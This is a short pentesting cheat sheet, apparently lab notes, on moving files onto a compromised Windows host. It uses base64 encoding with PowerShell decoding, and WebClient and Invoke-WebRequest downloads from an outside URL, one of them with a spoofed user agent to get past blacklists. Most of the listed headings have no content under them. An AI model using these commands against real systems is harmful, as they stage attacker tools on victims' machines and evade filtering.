Windows - File Transfer
Download to PowerShell
#On our machine
md5sum $file #Check the hash of the file
cat $file |base64 -w0 #Convert content and print it in one line
#On the target machine
PS\> [IO.File]::WriteAllBytes("C:\Users\Public\$file", [Convert]::FromBase64String("$b64String"))
PS\> Get-FileHash C:\Users\Public\i$file -Algorithm md5 #Check hash to confirm the integrity of the filePS\> (New-Object Net.WebClient).DownloadFile('$fileURL','$outFile')
PS\> Invoke-WebRequest $fileURL -OutFile $outFile #Alternative, little slower
#If the user Agent is blacklisted we can change it
PS C:\htb> Invoke-WebRequest $fileURL -UserAgent [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome -OutFile "$outFile" Download using SMB
Download using FTP
Upload from PowerShell
Upload using SMB
Upload using FTP
Transfer between Windows hosts using a PowerShell remote session and WinRM
Upload using the RDP protocol
Download using integrated Windows Binaries
Last updated